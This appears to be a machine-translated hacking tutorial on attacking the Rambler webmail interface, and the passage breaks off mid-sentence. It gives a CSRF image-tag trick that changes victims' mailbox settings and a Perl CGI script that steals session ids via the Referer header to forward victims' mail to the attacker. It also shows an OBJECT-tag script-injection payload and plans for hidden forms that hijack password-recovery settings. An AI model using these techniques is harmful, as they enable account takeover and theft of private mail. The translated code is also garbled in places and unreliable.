Проблеми безпеки Веб-інтерфейсів поштових сервісів на прикладі rambler.ru, Браузери та поштові програми, Security & Hack, статті

Georgi Guninski Security Research

Hi, ALL.
Ця темки, мабуть, для початківців, тому хочу відразу попередити, що всі
нижчевикладене рекомендую використовувати ТІЛЬКИ в освітніх цілях. Прошу запеклих
хацкеров не судити мене строго, тому що я навіть не намагаюся носити їх лаври, а
комп’ютерів я боюся. : О) Так само прошу вибачення за деяку можливу кривизну
викладу, тому що пишу експромтом, просто видалася випадкова хвилинка на роботі.

Деякий час я займався вивченням дирдочек в Web-поштовика (Rambler, HotBox і
т.п.) Відразу обмовлюся, що я розглядав їх з точки зору використання через Веб-
броузери (HTTP), точніше IE, а не як стандартні поштовики (POP, SMTP).
Зовсім недавно Web-поштовики були такі різні, кожен намагалися зробити по-своєму.
Зараз все більш-менш устаканівается і приходить до єдиного вигляду, і вигляд цей
далеко не ідеальний. Т.ч. я буду розповідати лише про один із них, про Rambler,
який пройшов за короткий час майже всі фази розвитку Web-поштовика. Багато
інші нині існуючі поштовики відповідають тій чи іншій фазі цього розвитку, в
ніж ви можете самі переконатися після прочитання цього тексту.
Отже завдання: отримати пароль від чужого скриньки і / або прочитати чужу пошту.
Попереджаю одразу, поштовик ламати не будемо і юзера ламати теж не будемо, ніяких
хробаків, троянів, і т.п. Все, що нам треба: невеликі знання HTTP, Cookies, JScript,
Perl (в обсязі ‘Hello world!’), Деяких особливостей IE. Ще потрібен сам IE,
поштовий ящик на Web-поштовику для випробувань і в деяких випадках хостинг для
виконання нашого скрипта (підійде безкоштовний хостинг на hut.ru, bip.ru і т.п.).
А тепер розповім по кроках історію розвитку поштовика на Rambler.ru з точки зору
стороннього користувача.

Колись давно на Rambler’e була така схема: користувач логін, отримував
cookie, який разом з IP-адресою використовувався для подальшої ідентифікації
користувача протягом сесії, причому не тільки при роботі з поштою, а й при
налаштування поштової скриньки. При налаштуванні скриньки, після натискання на ‘Submit’,
вміст полів форми передавалося методом POST на адресу відповідного скрипта
(Нехай буде ‘settings.cgi’), причому повторюся, що ідентифікація поштової скриньки,
налаштування якого треба змінити, відбувалася за cookie і IP-адресою. Крім того,
скрипт брав дані байдуже як із запитів POST, так і GET. Механізм ‘атаки’
в такому випадку дуже простий: створюється лист містить тег:
<IMG SRC=”www.server.ru/settings.cgi?set1=x&set2=y”>
де set1 = x, set2 = y – назви переданих полів з відповідними значеннями.
Коли користувач отримує і переглядає такий лист у вікні броузера, броузер
намагається завантажити картинку і передає зазначений за ‘SRC =’ запит, який отримує
скрипт поштовика разом з cookie і IP-адресою користувача. А так як усі, крім
методу передачі (не POST, а GET), вірно, а до методу скрипт байдужий, запит
обробляється, настройки скриньки змінюються. Природно, користувач не побачить
ніякої картинки, але ж так часто буває в інеті, що картинки не відкриваються, та
і картинка може бути розміром 1×1.
Дуже хотілося б передати “password = ‘my_password'”, але це ні до чого б не привело,
т.к. для того, щоб змінити пароль, необхідно знати старий, тобто виконався б
тільки такий запит: “password = ‘my_password’ & oldpassword = ‘old_password'”. Та й
встановивши новий пароль, ми б або відрізали юзера назовсім від його ящика, або
викликали його підозри, коли йому довелося б скористатися системою нагадування
пароля. Тому йдемо іншим шляхом.
Тоді ще була можливість налаштування фільтрів вхідної пошти на пересилання по іншому
адресою з залишенням локальної копії. При цьому внесення такого фільтру не вимагало
введення пароля, а тільки підтвердження від кінцевої точки пересилання, шляхом переходу
за посиланням у листі-повідомленні. Т.ч. ніхто не заважав зловмисникові послати лист
“Жертві” містить вищевказаний тег з параметрами, що визначають установки фільтра
на пересилання вхідної пошти на адресу зловмисника із залишенням локальної копії.
Але ж користувач може переглянути свої фільтри? А ви часто переглядаєте
налаштування своїх фільтрів? Ну а тим більше користувач, який до цих пір користується
Web-інтерфейсом для перегляду пошти …

Мабуть, ця частина дірочки була помічена, тому з’явилася нова версія поштовика.
Тепер крім cookie, IP-адреси для ідентифікації почав використовуватися ще й певний
ключ, який представляє собою рядок літерних і цифрових символів після ‘id =’,
генерується випадковим чином при кожному вході користувача в систему і
передану методом GET при кожному наступному зверненні до сервера (цей ключ видно
в рядку введення ‘Address’ броузера). І хоча скрипт досі брав значення полів
форм, передані як у POST, так і GET, попередній варіант уже не прокатує, так
як неможливо прописати в листі ключ, який згенерує лише під час
прочитання цього листа користувачем в майбутньому. На обличчя порушення просторово-часового
контіліума. Використовувати скрипт для отримання id з document.location в
тілі листа не має сенсу, тому що майже всі поштовики вирізують скрипти. Але вихід
є, і знаходиться він у змінній оточення CGI ‘HTTP_REFERER’. Змінюємо механізм:
залишаємо тег ‘IMG’, але замість адреси скрипта зміни налаштувань пишемо адресу нашого
скрипта. Ось тут і знадобиться невелике знання Perl (хоча підійде будь-який інший
мова для написання CGI-скрипта або CGI-додатки) і хостинг з підтримкою
користувача скриптів. Ось цей скрипт:

 $ ref = $ ENV {'HTTP_REFERER'}; # Отримуємо URL
$ Ref = ~ / ^ .* \? Id = ([A-za-z0-9] *) \ & / s; # Вирізуємо ключ
$ Mail = 'my_mail@mail.ru'; # e-mail для переадресованих листів

# Формуємо запит GET
$url = "http://www.server.ru/settings.cgi?id=$1&mailredir=$mail&self=yes;

print "Content-Type: text/html\n\n";
print "<HTML><HEAD>";
print "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0; URL=$url\">";
print "</HEAD></HTML>";

Ідея така: при відкритті листа у вікні броузера, броузер намагається завантажити
картинку, відправляє запит нашому скрипту. Скрипт приймає запит, отримує
значення змінної CGI-оточення ‘HTTP_REFERER’, яка містить URL документа,
завантаженого в даний момент браузером “жертви”, разом з GET-параметрами. Т.ч. ми
отримуємо той самий хитромудрий id – випадковий ключ. Далі формується запит
скрипту зміни налаштувань з усіма необхідними параметрами: ключем (id), адресою
пересилання (mailredir) та зазначення залишати локальну копію (self). Все це справа
вставляється в мета-тег редиректа на іншу сторінку і відправляється назад броузеру.
Той, отримавши це добро, робить редірект, а далі все, як і в першому випадку.

Але незабаром і така дірочка була закрита шляхом заміщення будь-яких URL в тілі листа
на такий запис: “www.server.ru/redirect.cgi?url = ‘some_url'”. Тобто тепер будь
звернення з тіла листа проходить через своєрідний шлюз (redirect.cgi), який
виробляє редирект за вказаною ‘some_url’ і таким чином відсікає можливість отримання
id з ‘HTTP_REFERER’, тому що в цієї змінної буде міститися або лише адресу
скрипта (www.server.ru / redirect.cgi), або взагалі нічого. Тобто варіант із зовнішнім
скриптом-шпигуном відпадає.
Крім того, скрипти поштовика стали розбиратися в методах запитів, тобто стали
відрізняти POST від GET. Ще тепер не можна робити фільтр, переадресовуються пошту на
іншу скриньку, можна лише розкидати по папках всередині скриньки. Але відкрилася інша
можливість: тепер можна змінювати глобальний редирект, тобто переправляти всю
вхідну пошту на іншу скриньку безпосередньо, а не через фільтр, але в цьому випадку не можна
залишати локальних копій. Навіщо потрібна така особливість, я розповім пізніше, а поки
вкажу ще, що тепер можна поміняти адресу резервного ящика, – це той ящик, який
вказується при реєстрації і куди пересилається пароль системою нагадування пароля.
Крім того, можна змінити і самі питання, і відповіді системи нагадування. Як же
дістатися до цього добра?
Відповідь народився при перегляді флеш-мультфільму в листі. Виявилося, що поштовики хоч
і вирізують скрипт з тіла листа, але не вирізують тег ‘‘. Розумієте,
куди я хилю? Спроба вкласти в тіло листа об’єкт обробника скрипта з самим
скриптом як параметр увінчалася успіхом. З’явилася можливість все ж
виконати будь-який скрипт в тілі листа. Ось як це робиться:

<OBJECT classid=clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389>
<PARAM NAME="URL"
              VALUE="about:<SCRIPT>alert(document.location);</SCRIPT>">
</OBJECT>

Можете перевірити: якщо вставити цей шматок в тіло листа, при перегляді листа в
вікні броузера з’явиться MessageBox з URL документа, де явно проглядається
необхідний нам id.
Так як у нас на озброєнні тепер є JScript, ми можемо обійти і проблему
формування POST запиту (тепер поштовик розбирається в методах). За допомогою
‘Write ()’ ми динамічно створюємо прямо в цьому ж листі форму для відправки
параметрів поштової скриньки з вже заповненими полями і з допомогою того ж
JScript робимо ‘Submit’.
Є одне неприємне доповнення: все, що створюється в ході цього, буде бачити
користувач, а в кінцевому підсумку він побачить сторінку зі зміненими настройками.
Тому форма з параметрами для передачі налаштувань повинна формуватися не прямо в
документі, а в динамічно створеному плаваючому фреймі (